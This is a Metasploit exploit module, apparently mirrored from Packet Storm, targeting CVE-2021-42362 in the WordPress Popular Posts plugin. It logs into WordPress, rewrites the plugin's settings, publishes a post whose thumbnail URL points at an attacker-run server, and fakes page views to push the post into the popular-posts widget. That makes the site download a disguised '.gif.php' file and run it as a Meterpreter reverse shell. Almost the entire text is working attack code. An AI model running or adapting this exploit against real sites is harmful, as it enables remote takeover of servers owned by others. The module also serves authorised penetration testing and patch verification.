Share
## https://sploitus.com/exploit?id=PACKETSTORM:165376
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress Popular Posts Authenticated RCE',  
'Description' => %q{  
This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.  
The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request  
for the payload, prior to getting a GET request.  
This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2.  
The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server.  
Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.  
A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once  
the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded  
which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a  
double extension ('.gif.php') allowing for arbitrary PHP code to be executed.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Simone Cristofaro', # edb  
'Jerome Bruandet' # original analysis  
],  
'References' => [  
[ 'EDB', '50129' ],  
[ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],  
[ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],  
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],  
[ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],  
[ 'CVE', '2021-42362' ]  
],  
'Platform' => ['php'],  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Privileged' => false,  
'Arch' => ARCH_PHP,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2021-06-11',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger  
},  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username of the account', 'admin']),  
OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),  
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),  
# https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560  
OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),  
# https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584  
OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),  
]  
end  
  
def check  
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?  
  
checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')  
if checkcode == CheckCode::Safe  
print_error('Popular Posts not a vulnerable version')  
end  
return checkcode  
end  
  
def trigger_payload(on_disk_payload_name)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => 'true'  
)  
# loop this 5 times just incase there is a time delay in writing the file by the server  
(1..5).each do |i|  
print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")  
Rex.sleep(10)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),  
'keep_cookies' => 'true'  
)  
end  
if res && res.code == 404  
print_error('Failed to find payload, may not have uploaded correctly.')  
end  
end  
  
def on_request_uri(cli, request, payload_name, post_id)  
if request.method == 'HEAD'  
print_good('Responding to initial HEAD request (passed check 1)')  
# according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length  
# however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.  
# also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught  
return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })  
end  
if request.method == 'GET'  
on_disk_payload_name = "#{post_id}_#{payload_name}"  
register_file_for_cleanup(on_disk_payload_name)  
print_good('Responding to GET request (passed check 2)')  
send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')  
close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions  
Rex.sleep(2) # wait for WP to finish all the checks it needs  
trigger_payload(on_disk_payload_name)  
end  
print_status("Received unexpected #{request.method} request")  
end  
  
def check_gd_installed(cookie)  
vprint_status('Checking if gd is installed')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),  
'method' => 'GET',  
'cookie' => cookie,  
'keep_cookies' => 'true',  
'vars_get' => {  
'page' => 'wordpress-popular-posts',  
'tab' => 'debug'  
}  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
res.body.include? ' gd'  
end  
  
def get_wpp_admin_token(cookie)  
vprint_status('Retrieving wpp_admin token')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),  
'method' => 'GET',  
'cookie' => cookie,  
'keep_cookies' => 'true',  
'vars_get' => {  
'page' => 'wordpress-popular-posts',  
'tab' => 'tools'  
}  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
/<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body  
Regexp.last_match(1)  
end  
  
def change_settings(cookie, token)  
vprint_status('Updating popular posts settings for images')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),  
'method' => 'POST',  
'cookie' => cookie,  
'keep_cookies' => 'true',  
'vars_get' => {  
'page' => 'wordpress-popular-posts',  
'tab' => 'debug'  
},  
'vars_post' => {  
'upload_thumb_src' => '',  
'thumb_source' => 'custom_field',  
'thumb_lazy_load' => 0,  
'thumb_field' => 'wpp_thumbnail',  
'thumb_field_resize' => 1,  
'section' => 'thumb',  
'wpp-admin-token' => token  
}  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body  
end  
  
def clear_cache(cookie, token)  
vprint_status('Clearing image cache')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),  
'method' => 'POST',  
'cookie' => cookie,  
'keep_cookies' => 'true',  
'vars_get' => {  
'page' => 'wordpress-popular-posts',  
'tab' => 'debug'  
},  
'vars_post' => {  
'action' => 'wpp_clear_thumbnail',  
'wpp-admin-token' => token  
}  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
end  
  
def enable_custom_fields(cookie, custom_nonce, post)  
# this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.  
res = send_request_cgi!(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),  
'cookie' => cookie,  
'keep_cookies' => 'true',  
'method' => 'POST',  
'vars_post' => {  
'toggle-custom-fields-nonce' => custom_nonce,  
'_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit",  
'action' => 'toggle-custom-fields'  
}  
)  
/name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body  
Regexp.last_match(1)  
end  
  
def create_post(cookie)  
vprint_status('Creating new post')  
# get post ID and nonces  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),  
'cookie' => cookie,  
'keep_cookies' => 'true'  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
/name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body  
/wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body  
/},"post":{"id":(?<post_id>\d*)/ =~ res.body  
if ajax_nonce.nil?  
print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')  
/name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body  
ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)  
end  
unless ajax_nonce.nil?  
vprint_status("ajax nonce: #{ajax_nonce}")  
end  
unless wp_nonce.nil?  
vprint_status("wp nonce: #{wp_nonce}")  
end  
unless post_id.nil?  
vprint_status("Created Post: #{post_id}")  
end  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id  
  
# publish new post  
vprint_status("Writing content to Post: #{post_id}")  
# this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'cookie' => cookie,  
'keep_cookies' => 'true',  
'ctype' => 'application/json',  
'accept' => 'application/json',  
'vars_get' => {  
'_locale' => 'user',  
'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)  
},  
'data' => {  
'id' => post_id,  
'title' => Rex::Text.rand_text_alphanumeric(20..30),  
'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->",  
'status' => 'publish'  
}.to_json,  
'headers' => {  
'X-WP-Nonce' => wp_nonce,  
'X-HTTP-Method-Override' => 'PUT'  
}  
)  
  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'  
return post_id, ajax_nonce, wp_nonce  
end  
  
def add_meta(cookie, post_id, ajax_nonce, payload_name)  
payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"  
vprint_status("Adding malicious metadata for redirect to #{payload_url}")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'method' => 'POST',  
'cookie' => cookie,  
'keep_cookies' => 'true',  
'vars_post' => {  
'_ajax_nonce' => 0,  
'action' => 'add-meta',  
'metakeyselect' => 'wpp_thumbnail',  
'metakeyinput' => '',  
'metavalue' => payload_url,  
'_ajax_nonce-add-meta' => ajax_nonce,  
'post_id' => post_id  
}  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"  
end  
  
def boost_post(cookie, post_id, wp_nonce, post_count)  
# redirect as needed  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'keep_cookies' => 'true',  
'cookie' => cookie,  
'vars_get' => { 'page_id' => post_id }  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301  
print_status("Sending #{post_count} views to #{res.headers['Location']}")  
location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>  
(1..post_count).each do |_c|  
res = send_request_cgi!(  
'uri' => "/#{location}",  
'cookie' => cookie,  
'keep_cookies' => 'true'  
)  
# just send away, who cares about the response  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
res = send_request_cgi(  
# this URL varies from the POC on EDB, and is modeled after what the browser does  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')  
},  
'keep_cookies' => 'true',  
'method' => 'POST',  
'cookie' => cookie,  
'vars_post' => {  
'_wpnonce' => wp_nonce,  
'wpp_id' => post_id,  
'sampling' => 0,  
'sampling_rate' => 100  
}  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201  
end  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
end  
  
def get_top_posts  
print_status('Determining post with most views')  
res = get_widget  
/>(?<views>\d+) views</ =~ res.body  
views = views.to_i  
print_status("Top Views: #{views}")  
views += 5 # make us the top post  
unless datastore['VISTS'].nil?  
print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")  
views = datastore['VISITS']  
end  
views  
end  
  
def get_widget  
# load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond  
# which then would kill the exploit, so in this case we just keep trying.  
(1..10).each do |_|  
@res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => 'true'  
)  
break unless @res.nil?  
end  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200  
/data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body  
# load the widget directly  
(1..10).each do |_|  
@res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),  
'keep_cookies' => 'true',  
'vars_get' => {  
'is_single' => 0  
}  
)  
break unless @res.nil?  
end  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200  
@res  
end  
  
def exploit  
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
  
if cookie.nil?  
vprint_error('Invalid login, check credentials')  
return  
end  
  
payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"  
vprint_status("Payload file name: #{payload_name}")  
  
fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)  
post_count = get_top_posts  
  
# we dont need to pass the cookie anymore since its now saved into http client  
token = get_wpp_admin_token(cookie)  
vprint_status("wpp_admin_token: #{token}")  
change_settings(cookie, token)  
clear_cache(cookie, token)  
post_id, ajax_nonce, wp_nonce = create_post(cookie)  
print_status('Starting web server to handle request for image payload')  
start_service({  
'Uri' => {  
'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },  
'Path' => "/#{payload_name}"  
}  
})  
  
add_meta(cookie, post_id, ajax_nonce, payload_name)  
boost_post(cookie, post_id, wp_nonce, post_count)  
print_status('Waiting 90sec for cache refresh by server')  
Rex.sleep(90)  
print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')  
res = get_widget  
print_good('We made it to the top!') if res.body.include? payload_name  
# if res.body.include? datastore['SRVHOSTNAME']  
# fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")  
# end  
# at this point, we rely on our web server getting requests to make the rest happen  
end  
end